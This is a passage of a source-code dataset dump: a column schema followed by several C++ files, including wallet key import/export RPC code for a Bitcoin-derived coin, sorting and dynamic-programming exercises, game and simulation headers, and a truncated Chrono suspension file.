blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
3
264
content_id
stringlengths
40
40
detected_licenses
listlengths
0
85
license_type
stringclasses
2 values
repo_name
stringlengths
5
140
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringclasses
986 values
visit_date
timestamp[us]
revision_date
timestamp[us]
committer_date
timestamp[us]
github_id
int64
3.89k
681M
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
23 values
gha_event_created_at
timestamp[us]
gha_created_at
timestamp[us]
gha_language
stringclasses
145 values
src_encoding
stringclasses
34 values
language
stringclasses
1 value
is_vendor
bool
1 class
is_generated
bool
2 classes
length_bytes
int64
3
10.4M
extension
stringclasses
122 values
content
stringlengths
3
10.4M
authors
listlengths
1
1
author_id
stringlengths
0
158
2ebabf6d28ed0b70a07e608604c30628a62de2d6
7c6ef0c396a48d115ed023b186e75fccaf24ab91
/Shooting game/s5216712_A2_Resubmission/s5216712_A2_Resubmission/Background.h
994f40417b06f0ce1cf1b846b1005b9a4431d087
[]
no_license
askarihriz/DuckShooter
50d8e766d291c09a3c949e1b336d5eca16c0aded
53c5c4639b99a225e376dba273b965630dc4da4f
refs/heads/main
2023-06-29T21:04:50.903882
2021-08-03T13:12:50
2021-08-03T13:12:50
392,321,679
0
0
null
null
null
null
UTF-8
C++
false
false
264
h
#pragma once #include"Object.h" class Background: public Object { private: public: void Reset(); void Render(SDL_Renderer* ren); void AimRender(SDL_Renderer* ren); void GunRender(SDL_Renderer* ren); void AimUpdate(int X, int Y); void GunUpdate(int X); };
[ "askarihriz@gmail.com" ]
askarihriz@gmail.com
66701ebe3511f0a115a546a95a453c0569b07171
f152da8d4eeccbbedcf0c8f420c8e49254178ba1
/src/rpcdump.cpp
7102998ebb10bb9180ff03c8d0151a81162e0763
[ "MIT" ]
permissive
pathondev/pathon
1ace986ce91d23d3174ff8db23068032c690f783
d4000d3b4606b7fc777bbe39b0651703bf746bcf
refs/heads/master
2020-03-12T22:21:47.903858
2018-04-24T17:33:11
2018-04-24T17:33:11
130,841,319
0
0
null
null
null
null
UTF-8
C++
false
false
18,857
cpp
// Copyright (c) 2009-2014 The Bitcoin developers // Copyright (c) 2014-2015 The Pat developers // Copyright (c) 2015-2017 The PIVX developers // Copyright (c) 2015-2017 The PAT developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "bip38.h" #include "init.h" #include "main.h" #include "rpcserver.h" #include "script/script.h" #include "script/standard.h" #include "sync.h" #include "util.h" #include "utilstrencodings.h" #include "utiltime.h" #include "wallet.h" #include <fstream> #include <secp256k1.h> #include <stdint.h> #include <boost/algorithm/string.hpp> #include <boost/date_time/posix_time/posix_time.hpp> #include <openssl/aes.h> #include <openssl/sha.h> #include "json/json_spirit_value.h" using namespace json_spirit; using namespace std; void EnsureWalletIsUnlocked(); std::string static EncodeDumpTime(int64_t nTime) { return DateTimeStrFormat("%Y-%m-%dT%H:%M:%SZ", nTime); } int64_t static DecodeDumpTime(const std::string& str) { static const boost::posix_time::ptime epoch = boost::posix_time::from_time_t(0); static const std::locale loc(std::locale::classic(), new boost::posix_time::time_input_facet("%Y-%m-%dT%H:%M:%SZ")); std::istringstream iss(str); iss.imbue(loc); boost::posix_time::ptime ptime(boost::date_time::not_a_date_time); iss >> ptime; if (ptime.is_not_a_date_time()) return 0; return (ptime - epoch).total_seconds(); } std::string static EncodeDumpString(const std::string& str) { std::stringstream ret; BOOST_FOREACH (unsigned char c, str) { if (c <= 32 || c >= 128 || c == '%') { ret << '%' << HexStr(&c, &c + 1); } else { ret << c; } } return ret.str(); } std::string DecodeDumpString(const std::string& str) { std::stringstream ret; for (unsigned int pos = 0; pos < str.length(); pos++) { unsigned char c = str[pos]; if (c == '%' && pos + 2 < str.length()) { c = (((str[pos + 1] >> 6) * 9 + ((str[pos + 1] - '0') & 15)) << 4) | ((str[pos + 2] >> 6) * 9 + ((str[pos + 2] - '0') & 15)); pos += 2; } ret << c; } return ret.str(); } Value importprivkey(const Array& params, bool fHelp) { if (fHelp || params.size() < 1 || params.size() > 3) throw runtime_error( "importprivkey \"patprivkey\" ( \"label\" rescan )\n" "\nAdds a private key (as returned by dumpprivkey) to your wallet.\n" "\nArguments:\n" "1. \"patprivkey\" (string, required) The private key (see dumpprivkey)\n" "2. \"label\" (string, optional, default=\"\") An optional label\n" "3. rescan (boolean, optional, default=true) Rescan the wallet for transactions\n" "\nNote: This call can take minutes to complete if rescan is true.\n" "\nExamples:\n" "\nDump a private key\n" + HelpExampleCli("dumpprivkey", "\"myaddress\"") + "\nImport the private key with rescan\n" + HelpExampleCli("importprivkey", "\"mykey\"") + "\nImport using a label and without rescan\n" + HelpExampleCli("importprivkey", "\"mykey\" \"testing\" false") + "\nAs a JSON-RPC call\n" + HelpExampleRpc("importprivkey", "\"mykey\", \"testing\", false")); EnsureWalletIsUnlocked(); string strSecret = params[0].get_str(); string strLabel = ""; if (params.size() > 1) strLabel = params[1].get_str(); // Whether to perform rescan after import bool fRescan = true; if (params.size() > 2) fRescan = params[2].get_bool(); CBitcoinSecret vchSecret; bool fGood = vchSecret.SetString(strSecret); if (!fGood) throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Invalid private key encoding"); CKey key = vchSecret.GetKey(); if (!key.IsValid()) throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Private key outside allowed range"); CPubKey pubkey = key.GetPubKey(); assert(key.VerifyPubKey(pubkey)); CKeyID vchAddress = pubkey.GetID(); { pwalletMain->MarkDirty(); pwalletMain->SetAddressBook(vchAddress, strLabel, "receive"); // Don't throw error in case a key is already there if (pwalletMain->HaveKey(vchAddress)) return Value::null; pwalletMain->mapKeyMetadata[vchAddress].nCreateTime = 1; if (!pwalletMain->AddKeyPubKey(key, pubkey)) throw JSONRPCError(RPC_WALLET_ERROR, "Error adding key to wallet"); // whenever a key is imported, we need to scan the whole chain pwalletMain->nTimeFirstKey = 1; // 0 would be considered 'no value' if (fRescan) { pwalletMain->ScanForWalletTransactions(chainActive.Genesis(), true); } } return Value::null; } Value importaddress(const Array& params, bool fHelp) { if (fHelp || params.size() < 1 || params.size() > 3) throw runtime_error( "importaddress \"address\" ( \"label\" rescan )\n" "\nAdds an address or script (in hex) that can be watched as if it were in your wallet but cannot be used to spend.\n" "\nArguments:\n" "1. \"address\" (string, required) The address\n" "2. \"label\" (string, optional, default=\"\") An optional label\n" "3. rescan (boolean, optional, default=true) Rescan the wallet for transactions\n" "\nNote: This call can take minutes to complete if rescan is true.\n" "\nExamples:\n" "\nImport an address with rescan\n" + HelpExampleCli("importaddress", "\"myaddress\"") + "\nImport using a label without rescan\n" + HelpExampleCli("importaddress", "\"myaddress\" \"testing\" false") + "\nAs a JSON-RPC call\n" + HelpExampleRpc("importaddress", "\"myaddress\", \"testing\", false")); CScript script; CBitcoinAddress address(params[0].get_str()); if (address.IsValid()) { script = GetScriptForDestination(address.Get()); } else if (IsHex(params[0].get_str())) { std::vector<unsigned char> data(ParseHex(params[0].get_str())); script = CScript(data.begin(), data.end()); } else { throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Invalid PAT address or script"); } string strLabel = ""; if (params.size() > 1) strLabel = params[1].get_str(); // Whether to perform rescan after import bool fRescan = true; if (params.size() > 2) fRescan = params[2].get_bool(); { if (::IsMine(*pwalletMain, script) == ISMINE_SPENDABLE) throw JSONRPCError(RPC_WALLET_ERROR, "The wallet already contains the private key for this address or script"); // add to address book or update label if (address.IsValid()) pwalletMain->SetAddressBook(address.Get(), strLabel, "receive"); // Don't throw error in case an address is already there if (pwalletMain->HaveWatchOnly(script)) return Value::null; pwalletMain->MarkDirty(); if (!pwalletMain->AddWatchOnly(script)) throw JSONRPCError(RPC_WALLET_ERROR, "Error adding address to wallet"); if (fRescan) { pwalletMain->ScanForWalletTransactions(chainActive.Genesis(), true); pwalletMain->ReacceptWalletTransactions(); } } return Value::null; } Value importwallet(const Array& params, bool fHelp) { if (fHelp || params.size() != 1) throw runtime_error( "importwallet \"filename\"\n" "\nImports keys from a wallet dump file (see dumpwallet).\n" "\nArguments:\n" "1. \"filename\" (string, required) The wallet file\n" "\nExamples:\n" "\nDump the wallet\n" + HelpExampleCli("dumpwallet", "\"test\"") + "\nImport the wallet\n" + HelpExampleCli("importwallet", "\"test\"") + "\nImport using the json rpc call\n" + HelpExampleRpc("importwallet", "\"test\"")); EnsureWalletIsUnlocked(); ifstream file; file.open(params[0].get_str().c_str(), std::ios::in | std::ios::ate); if (!file.is_open()) throw JSONRPCError(RPC_INVALID_PARAMETER, "Cannot open wallet dump file"); int64_t nTimeBegin = chainActive.Tip()->GetBlockTime(); bool fGood = true; int64_t nFilesize = std::max((int64_t)1, (int64_t)file.tellg()); file.seekg(0, file.beg); pwalletMain->ShowProgress(_("Importing..."), 0); // show progress dialog in GUI while (file.good()) { pwalletMain->ShowProgress("", std::max(1, std::min(99, (int)(((double)file.tellg() / (double)nFilesize) * 100)))); std::string line; std::getline(file, line); if (line.empty() || line[0] == '#') continue; std::vector<std::string> vstr; boost::split(vstr, line, boost::is_any_of(" ")); if (vstr.size() < 2) continue; CBitcoinSecret vchSecret; if (!vchSecret.SetString(vstr[0])) continue; CKey key = vchSecret.GetKey(); CPubKey pubkey = key.GetPubKey(); assert(key.VerifyPubKey(pubkey)); CKeyID keyid = pubkey.GetID(); if (pwalletMain->HaveKey(keyid)) { LogPrintf("Skipping import of %s (key already present)\n", CBitcoinAddress(keyid).ToString()); continue; } int64_t nTime = DecodeDumpTime(vstr[1]); std::string strLabel; bool fLabel = true; for (unsigned int nStr = 2; nStr < vstr.size(); nStr++) { if (boost::algorithm::starts_with(vstr[nStr], "#")) break; if (vstr[nStr] == "change=1") fLabel = false; if (vstr[nStr] == "reserve=1") fLabel = false; if (boost::algorithm::starts_with(vstr[nStr], "label=")) { strLabel = DecodeDumpString(vstr[nStr].substr(6)); fLabel = true; } } LogPrintf("Importing %s...\n", CBitcoinAddress(keyid).ToString()); if (!pwalletMain->AddKeyPubKey(key, pubkey)) { fGood = false; continue; } pwalletMain->mapKeyMetadata[keyid].nCreateTime = nTime; if (fLabel) pwalletMain->SetAddressBook(keyid, strLabel, "receive"); nTimeBegin = std::min(nTimeBegin, nTime); } file.close(); pwalletMain->ShowProgress("", 100); // hide progress dialog in GUI CBlockIndex* pindex = chainActive.Tip(); while (pindex && pindex->pprev && pindex->GetBlockTime() > nTimeBegin - 7200) pindex = pindex->pprev; if (!pwalletMain->nTimeFirstKey || nTimeBegin < pwalletMain->nTimeFirstKey) pwalletMain->nTimeFirstKey = nTimeBegin; LogPrintf("Rescanning last %i blocks\n", chainActive.Height() - pindex->nHeight + 1); pwalletMain->ScanForWalletTransactions(pindex); pwalletMain->MarkDirty(); if (!fGood) throw JSONRPCError(RPC_WALLET_ERROR, "Error adding some keys to wallet"); return Value::null; } Value dumpprivkey(const Array& params, bool fHelp) { if (fHelp || params.size() != 1) throw runtime_error( "dumpprivkey \"pataddress\"\n" "\nReveals the private key corresponding to 'pataddress'.\n" "Then the importprivkey can be used with this output\n" "\nArguments:\n" "1. \"pataddress\" (string, required) The pat address for the private key\n" "\nResult:\n" "\"key\" (string) The private key\n" "\nExamples:\n" + HelpExampleCli("dumpprivkey", "\"myaddress\"") + HelpExampleCli("importprivkey", "\"mykey\"") + HelpExampleRpc("dumpprivkey", "\"myaddress\"")); EnsureWalletIsUnlocked(); string strAddress = params[0].get_str(); CBitcoinAddress address; if (!address.SetString(strAddress)) throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Invalid PAT address"); CKeyID keyID; if (!address.GetKeyID(keyID)) throw JSONRPCError(RPC_TYPE_ERROR, "Address does not refer to a key"); CKey vchSecret; if (!pwalletMain->GetKey(keyID, vchSecret)) throw JSONRPCError(RPC_WALLET_ERROR, "Private key for address " + strAddress + " is not known"); return CBitcoinSecret(vchSecret).ToString(); } Value dumpwallet(const Array& params, bool fHelp) { if (fHelp || params.size() != 1) throw runtime_error( "dumpwallet \"filename\"\n" "\nDumps all wallet keys in a human-readable format.\n" "\nArguments:\n" "1. \"filename\" (string, required) The filename\n" "\nExamples:\n" + HelpExampleCli("dumpwallet", "\"test\"") + HelpExampleRpc("dumpwallet", "\"test\"")); EnsureWalletIsUnlocked(); ofstream file; file.open(params[0].get_str().c_str()); if (!file.is_open()) throw JSONRPCError(RPC_INVALID_PARAMETER, "Cannot open wallet dump file"); std::map<CKeyID, int64_t> mapKeyBirth; std::set<CKeyID> setKeyPool; pwalletMain->GetKeyBirthTimes(mapKeyBirth); pwalletMain->GetAllReserveKeys(setKeyPool); // sort time/key pairs std::vector<std::pair<int64_t, CKeyID> > vKeyBirth; for (std::map<CKeyID, int64_t>::const_iterator it = mapKeyBirth.begin(); it != mapKeyBirth.end(); it++) { vKeyBirth.push_back(std::make_pair(it->second, it->first)); } mapKeyBirth.clear(); std::sort(vKeyBirth.begin(), vKeyBirth.end()); // produce output file << strprintf("# Wallet dump created by PAT %s (%s)\n", CLIENT_BUILD, CLIENT_DATE); file << strprintf("# * Created on %s\n", EncodeDumpTime(GetTime())); file << strprintf("# * Best block at time of backup was %i (%s),\n", chainActive.Height(), chainActive.Tip()->GetBlockHash().ToString()); file << strprintf("# mined on %s\n", EncodeDumpTime(chainActive.Tip()->GetBlockTime())); file << "\n"; for (std::vector<std::pair<int64_t, CKeyID> >::const_iterator it = vKeyBirth.begin(); it != vKeyBirth.end(); it++) { const CKeyID& keyid = it->second; std::string strTime = EncodeDumpTime(it->first); std::string strAddr = CBitcoinAddress(keyid).ToString(); CKey key; if (pwalletMain->GetKey(keyid, key)) { if (pwalletMain->mapAddressBook.count(keyid)) { file << strprintf("%s %s label=%s # addr=%s\n", CBitcoinSecret(key).ToString(), strTime, EncodeDumpString(pwalletMain->mapAddressBook[keyid].name), strAddr); } else if (setKeyPool.count(keyid)) { file << strprintf("%s %s reserve=1 # addr=%s\n", CBitcoinSecret(key).ToString(), strTime, strAddr); } else { file << strprintf("%s %s change=1 # addr=%s\n", CBitcoinSecret(key).ToString(), strTime, strAddr); } } } file << "\n"; file << "# End of dump\n"; file.close(); return Value::null; } Value bip38encrypt(const Array& params, bool fHelp) { if (fHelp || params.size() != 2) throw runtime_error( "bip38encrypt \"pataddress\"\n" "\nEncrypts a private key corresponding to 'pataddress'.\n" "\nArguments:\n" "1. \"pataddress\" (string, required) The pat address for the private key (you must hold the key already)\n" "2. \"passphrase\" (string, required) The passphrase you want the private key to be encrypted with - Valid special chars: !#$%&'()*+,-./:;<=>?`{|}~ \n" "\nResult:\n" "\"key\" (string) The encrypted private key\n" "\nExamples:\n"); EnsureWalletIsUnlocked(); string strAddress = params[0].get_str(); string strPassphrase = params[1].get_str(); CBitcoinAddress address; if (!address.SetString(strAddress)) throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Invalid PAT address"); CKeyID keyID; if (!address.GetKeyID(keyID)) throw JSONRPCError(RPC_TYPE_ERROR, "Address does not refer to a key"); CKey vchSecret; if (!pwalletMain->GetKey(keyID, vchSecret)) throw JSONRPCError(RPC_WALLET_ERROR, "Private key for address " + strAddress + " is not known"); uint256 privKey = vchSecret.GetPrivKey_256(); string encryptedOut = BIP38_Encrypt(strAddress, strPassphrase, privKey); Object result; result.push_back(Pair("Addess", strAddress)); result.push_back(Pair("Encrypted Key", encryptedOut)); return result; } Value bip38decrypt(const Array& params, bool fHelp) { if (fHelp || params.size() != 2) throw runtime_error( "bip38decrypt \"pataddress\"\n" "\nDecrypts and then imports password protected private key.\n" "\nArguments:\n" "1. \"passphrase\" (string, required) The passphrase you want the private key to be encrypted with\n" "2. \"encryptedkey\" (string, required) The encrypted private key\n" "\nResult:\n" "\"key\" (string) The decrypted private key\n" "\nExamples:\n"); EnsureWalletIsUnlocked(); /** Collect private key and passphrase **/ string strPassphrase = params[0].get_str(); string strKey = params[1].get_str(); uint256 privKey; bool fCompressed; if (!BIP38_Decrypt(strPassphrase, strKey, privKey, fCompressed)) throw JSONRPCError(RPC_WALLET_ERROR, "Failed To Decrypt"); Object result; result.push_back(Pair("privatekey", HexStr(privKey))); CKey key; key.Set(privKey.begin(), privKey.end(), fCompressed); if (!key.IsValid()) throw JSONRPCError(RPC_WALLET_ERROR, "Private Key Not Valid"); CPubKey pubkey = key.GetPubKey(); pubkey.IsCompressed(); assert(key.VerifyPubKey(pubkey)); result.push_back(Pair("Address", CBitcoinAddress(pubkey.GetID()).ToString())); CKeyID vchAddress = pubkey.GetID(); { pwalletMain->MarkDirty(); pwalletMain->SetAddressBook(vchAddress, "", "receive"); // Don't throw error in case a key is already there if (pwalletMain->HaveKey(vchAddress)) throw JSONRPCError(RPC_WALLET_ERROR, "Key already held by wallet"); pwalletMain->mapKeyMetadata[vchAddress].nCreateTime = 1; if (!pwalletMain->AddKeyPubKey(key, pubkey)) throw JSONRPCError(RPC_WALLET_ERROR, "Error adding key to wallet"); // whenever a key is imported, we need to scan the whole chain pwalletMain->nTimeFirstKey = 1; // 0 would be considered 'no value' pwalletMain->ScanForWalletTransactions(chainActive.Genesis(), true); } return result; }
[ "38689765+pathondev@users.noreply.github.com" ]
38689765+pathondev@users.noreply.github.com
00852221ab659d4f79af95a2f098f093affb1f17
b581675ebe3633ea7d6e63ac7898335dc4dcd28c
/chef/CHEFSTLT.cpp
681c302751429aa722a120cb580e62779b42fcc9
[]
no_license
udit043/little_bit_competitive
c219c1d77a48c87ac4b8384c5c09fdacbd1fe8c2
b54279e75c54337bd4d89f9a44489bf8ad00635b
refs/heads/master
2021-07-12T18:43:29.056528
2021-05-29T12:17:30
2021-05-29T12:17:30
86,187,789
0
0
null
null
null
null
UTF-8
C++
false
false
445
cpp
#include <bits/stdc++.h> using namespace std; int main() { int t; cin >> t; while(t--) { string s1,s2; cin >> s1 >> s2; int i,qb=0,qs=0,same=0,dif=0; for(i=0; i<s1.length(); i++) { if(s1[i] == s2[i]) { same++; if(s1[i] == '?') qb++; } if(s1[i] != s2[i]) { dif++; if( (s1[i] == '?') || (s2[i] == '?') ) qs++; } } cout << s1.length()-same-qs << " " << dif+qb << "\n"; } return 0; }
[ "udit043.ur@gmail.com" ]
udit043.ur@gmail.com
12881393f4bae89086b1f6e21624ef0f06133897
1fb987c42741ed9e54e34bdff508266eb40580ae
/prob12/main.cpp
a18206b4b8bb4d6bfb149fb2061d69c46c68b686
[]
no_license
noeliampgar/MARP-Juez-2C
98ab1b19a786cf4faeac70353bc5c9a12bd558a7
a3616b8e66a1b42031e6de91160043a801bf9b09
refs/heads/main
2023-08-14T20:39:58.324724
2021-09-29T10:37:18
2021-09-29T10:37:18
411,625,615
4
0
null
null
null
null
UTF-8
C++
false
false
1,939
cpp
#include <iostream> #include <algorithm> #include <vector> #include <iomanip> #include <math.h> #include <climits> #include <fstream> #include <queue> #include <stdio.h> #include <string.h> #include <list> #include "Matriz.h" using namespace std; struct tMoneda { int valor, cantidad; }; bool resuelveCaso() { int N; cin >> N; if (!std::cin) return false; vector<tMoneda> moneda(N); for (int i = 0; i < N; ++i) { cin >> moneda[i].valor; } for (int i = 0; i < N; ++i) { cin >> moneda[i].cantidad; } reverse(moneda.begin(), moneda.end()); int C; cin >> C; Matriz<int> M(N + 1, C + 1); for (int i = 0; i < N + 1; ++i) M[i][0] = 0; for (int j = 1; j < C + 1; ++j) M[0][j] = INT_MAX; for (int i = 1; i < N + 1; ++i) for (int j = 1; j < C + 1; ++j) { int mini = INT_MAX; for (int k = 0; k <= moneda[i - 1].cantidad && k * moneda[i - 1].valor <= j; ++k) { if (M[i - 1][j - k * moneda[i - 1].valor] != INT_MAX) { mini = min(M[i - 1][j - k * moneda[i - 1].valor] + k, mini); } } M[i][j] = mini; } if (M[N][C] == INT_MAX) cout << "NO"; else { vector<int> sol; int j = C; for (int i = N; i > 0; --i) { int mini = INT_MAX; int m = j; int p = 0; for (int k = 0; k <= moneda[i - 1].cantidad && k * moneda[i - 1].valor <= j; ++k) { if (M[i - 1][j - k * moneda[i - 1].valor] != INT_MAX) { if (M[i - 1][j - k * moneda[i - 1].valor] + k <= mini) { m = j - k * moneda[i - 1].valor; p = k; } mini = min(M[i - 1][j - k * moneda[i - 1].valor] + k, mini); } } sol.push_back(p); j = m; } cout << "SI "; int suma=0; for (int i = 0; i < sol.size(); ++i) { suma+=sol[i]; } cout << suma; } cout << '\n'; return true; } int main() { #ifndef DOMJUDGE ifstream in("entrada.txt"); auto cinbuf = cin.rdbuf(in.rdbuf()); #endif while(resuelveCaso()) ; #ifndef DOMJUDGE cin.rdbuf(cinbuf); #endif return 0; }
[ "noeliamp@ucm.es" ]
noeliamp@ucm.es
c8c4096357431b88398c0dc33e8f7cd05ab59732
f49eb02fff30a48186bdb2243b0a4a0cb39a59c1
/src/Tables/Table_02.cpp
c5924ae3ea57aa130593a6b2caae2656115236ff
[ "BSD-3-Clause" ]
permissive
hietwll/gamer
18b3894f56b5f50e7c92d4fafff903b674155b45
d6ae404ba1cbd8b4c1d6269ddb29efd1fc5d1a48
refs/heads/master
2021-08-31T10:55:35.427127
2017-12-21T03:43:23
2017-12-21T03:43:23
null
0
0
null
null
null
null
UTF-8
C++
false
false
2,339
cpp
#include "GAMER.h" //------------------------------------------------------------------------------------------------------- // Function : TABLE_02 // Description : Return w0, or w1 according to the inputs "LocalID" and "dim" // // Note : This table is particularly useful when the required values depended on the direction // of the local ID of patch within a patch group // // Parameter : LocalID : Local index within the patch group (0~7) // dim : Target x/y/z direction // w0 : Value to be returned if LocalID belongs to the left surface // w1 : Value to be returned if LocalID belongs to the middle surface // w2 : Value to be returned if LocalID belongs to the right surface // // Return : w0 || w1 //------------------------------------------------------------------------------------------------------- int TABLE_02( const int LocalID, const char dim, const int w0, const int w1 ) { switch ( dim ) { case 'x': switch ( LocalID ) { case 0: case 2: case 3: case 5: return w0; case 1: case 4: case 6: case 7: return w1; default: Aux_Error( ERROR_INFO, "incorrect parameter %s = %c, %s = %d\" !!\n", "dim", dim, "LocalID", LocalID ); } case 'y': switch ( LocalID ) { case 0: case 1: case 3: case 6: return w0; case 2: case 4: case 5: case 7: return w1; default: Aux_Error( ERROR_INFO, "incorrect parameter %s = %c, %s = %d\" !!\n", "dim", dim, "LocalID", LocalID ); } case 'z': switch ( LocalID ) { case 0: case 1: case 2: case 4: return w0; case 3: case 5: case 6: case 7: return w1; default: Aux_Error( ERROR_INFO, "incorrect parameter %s = %c, %s = %d\" !!\n", "dim", dim, "LocalID", LocalID ); } default: Aux_Error( ERROR_INFO, "incorrect parameter %s = %c\" !!\n", "dim", dim ); exit(1); } // switch ( dim ) } // FUNCTION : TABLE_02
[ "hyschive@gmail.com" ]
hyschive@gmail.com
eac14a522c5af310ff4548e8c20e98c75301421c
5dbba49dda2c936d70008d8c534d5fe8c5957a35
/Lab2/ArrChange.cpp
7a406275f216401698567b3b3d97527e6582656a
[]
no_license
LORRIKAN/Labs-RPS
75628d90f2e4f8b5071d9fceea25915c18620dd9
6f7aec79f4624c36ceb0e51500ed1bcc93db99c1
refs/heads/master
2022-12-07T02:23:26.320286
2020-08-31T09:39:17
2020-08-31T09:39:17
286,821,470
0
0
null
null
null
null
UTF-8
C++
false
false
4,798
cpp
#include <iostream> #include "ArrOutput.h" using namespace std; enum { comparesColumn, swapsColumn, bubbleLine = 0, selectLine, insertLine, shellLine, quickLine }; enum { bubbleSort, selectSort, insertSort, shellSort, quickSort }; struct LinkValuesAndSum { int value; int sum; bool listed = false; }; void BubbleSort(int* line, int m, int& compares, int& swaps) { bool lineChanged = true; for (int i = 0; i < m && lineChanged; ++i) { lineChanged = false; for (int j = 0; j < m - i - 1; ++j) { ++compares; if (line[j] > line[j + 1]) { int temp = line[j]; line[j] = line[j + 1]; line[j + 1] = temp; lineChanged = true; ++swaps; } } } } void SelectSort(int* line, int m, int& compares, int& swaps) { int min; for (int i = 0; i < m - 1; ++i) { min = i; for (int j = i + 1; j < m; ++j) { ++compares; if (line[j] < line[min]) min = j; } if (i != min) { int temp = line[i]; line[i] = line[min]; line[min] = temp; ++swaps; } } } void InsertSort(int* line, int m, int& compares, int& swaps) { for (int i = 1; i < m; ++i) { int x = line[i]; int j = i; while (true) { if (j > 0) { ++compares; if (x < line[j - 1]) { line[j] = line[j - 1]; --j; } else break; } else break; } ++swaps; line[j] = x; } } void ShellSort(int* line, int m, int& compares, int& swaps) { for (int step = m / 2; step > 0; step /= 2) { for (int i = step; i < m; ++i) { int x = line[i]; int j = i; while (true) { if (j >= step) { ++compares; if (x < line[j - step]) { line[j] = line[j - step]; j -= step; } else break; } else break; } ++swaps; line[j] = x; } } } void QuickSort(int* line, int first, int last, int& compares, int& swaps) { int left = first; int pivot = line[(first + last) / 2]; int right = last; while (left < right) { while (++compares, line[left] < pivot) { ++left; } while (++compares, line[right] > pivot) { --right; } if (left <= right) { int temp = line[left]; line[left] = line[right]; line[right] = temp; ++left; --right; ++swaps; } } if (first < right) QuickSort(line, first, right, compares,swaps); if (left < last) QuickSort(line, left, last, compares, swaps); } void ArrCopy(int** origArr, int** copy, int n, int m) { for (int i = 0; i < n; ++i) for (int j = 0; j < m; ++j) copy[i][j] = origArr[i][j]; } void SumCalcAndSort(int* origLine, int* resultLine, int m, int comparesAndSwaps[sortsNumber][parametersNumber], int sortNum) { int* sumLine = new int[m]; LinkValuesAndSum* arrOfLinks = new LinkValuesAndSum[m]; for (int i = 0; i < m; ++i) { int value = abs(origLine[i]); int sum = 0; while (value) { sum += value % 10; value /= 10; } sumLine[i] = sum; arrOfLinks[i].sum = sum; arrOfLinks[i].value = origLine[i]; } switch (sortNum) { case bubbleSort: BubbleSort(sumLine, m, comparesAndSwaps[bubbleLine][comparesColumn], comparesAndSwaps[bubbleLine][swapsColumn]); break; case selectSort: SelectSort(sumLine, m, comparesAndSwaps[selectLine][comparesColumn], comparesAndSwaps[selectLine][swapsColumn]); break; case insertSort: InsertSort(sumLine, m, comparesAndSwaps[insertLine][comparesColumn], comparesAndSwaps[insertLine][swapsColumn]); break; case shellSort: ShellSort(sumLine, m, comparesAndSwaps[shellLine][comparesColumn], comparesAndSwaps[shellLine][swapsColumn]); break; case quickSort: int first = 0; int last = m - 1; QuickSort(sumLine, first, last, comparesAndSwaps[quickLine][comparesColumn], comparesAndSwaps[quickLine][swapsColumn]); break; } for (int i = 0; i < m; ++i) { for (int j = 0; j < m; ++j) { if (sumLine[i] == arrOfLinks[j].sum && !arrOfLinks[j].listed) { resultLine[i] = arrOfLinks[j].value; arrOfLinks[j].listed = true; break; } } } delete[] sumLine; delete[] arrOfLinks; } int** ArrChange(int** origArr, int n, int m, int comparesAndSwaps[sortsNumber][parametersNumber], int lenghtToSetw) { for (int i = 0; i < sortsNumber; ++i) { for (int j = 0; j < parametersNumber; ++j) comparesAndSwaps[i][j] = 0; } string table[sortsNumber] = { "Bubble sort: ", "Select sort: ", "Insert sort: ", "Shell sort: ", "Quick sort: " }; int** resultArr = new int* [n]; for (int i = 0; i < n; ++i) { resultArr[i] = new int[m]; } for (int sortIterator = 0; sortIterator < sortsNumber; ++sortIterator) { ArrCopy(origArr, resultArr, n, m); for (int i = 0; i < n; ++i) { if ((i + 1) % 2) { SumCalcAndSort(origArr[i], resultArr[i], m, comparesAndSwaps, sortIterator); } } OutputInConsoleArr(resultArr, n, m, lenghtToSetw, table[sortIterator] + "\n\n", blue + sortIterator); } return resultArr; }
[ "zobnin.ilya@yandex.ru" ]
zobnin.ilya@yandex.ru
859f66b6ff6570ba0faf9447d67b0ea04a9326c3
5bcb9c443543a046b0fb79f8ab02d21752f25b0f
/xogeni/LevelGenerator/Room.hpp
84bcd8d0dc4f0b0d94c8c04888948e213ed290c2
[]
no_license
jordansavant/roguezombie
69739a2cd6f86345ba808adc2b9287b3b9e37e3d
01cf466eeab7dbf108886eb11f8063c82932a0d7
refs/heads/master
2020-04-18T19:35:56.803764
2019-01-27T14:08:47
2019-01-27T14:08:47
167,715,791
1
0
null
null
null
null
UTF-8
C++
false
false
424
hpp
#pragma once #ifndef XG_ROOM_H #define XG_ROOM_H #include <vector> namespace XoGeni { class Room { public: Room(); ~Room(); Room(unsigned int x, unsigned int y, unsigned int width, unsigned int height); unsigned int x, y; unsigned int width, height; unsigned int entranceWeight; bool isMachineRoom; unsigned int cellCount(); }; } #endif
[ "md5madman@gmail.com" ]
md5madman@gmail.com
530ae2376cafe30db84882fb6ad4cf9564f20293
a880c86867a91e290f9e84ea59aafc8fb3c1a443
/chrono/chrono-dev/src/chrono_vehicle/wheeled_vehicle/suspension/ChHendricksonPRIMAXX.cpp
0ad398b105d7efe39e0a90545b4528aa506c9859
[ "BSD-3-Clause" ]
permissive
ShuoHe97/CS239-Final-Project
67b987a69275016027b744c178e19b4f0b0edfda
6558db26d00abb0eb2f6c82b9b6025386ecf19b9
refs/heads/main
2023-02-02T13:30:58.615194
2020-12-19T00:16:27
2020-12-19T00:16:27
322,532,657
2
0
null
null
null
null
UTF-8
C++
false
false
31,247
cpp
// ============================================================================= // PROJECT CHRONO - http://projectchrono.org // // Copyright (c) 2014 projectchrono.org // All rights reserved. // // Use of this source code is governed by a BSD-style license that can be found // in the LICENSE file at the top level of the distribution and at // http://projectchrono.org/license-chrono.txt. // // ============================================================================= // Authors: Radu Serban, Holger Haut // ============================================================================= // // Base class for a Hendrickson PRIMAXX EX suspension. // // The suspension subsystem is modeled with respect to a right-handed frame, // with X pointing towards the front, Y to the left, and Z up (ISO standard). // The suspension reference frame is assumed to be always aligned with that of // the vehicle. When attached to a chassis, only an offset is provided. // // All point locations are assumed to be given for the left half of the // suspension and will be mirrored (reflecting the y coordinates) to construct // the right side. // // 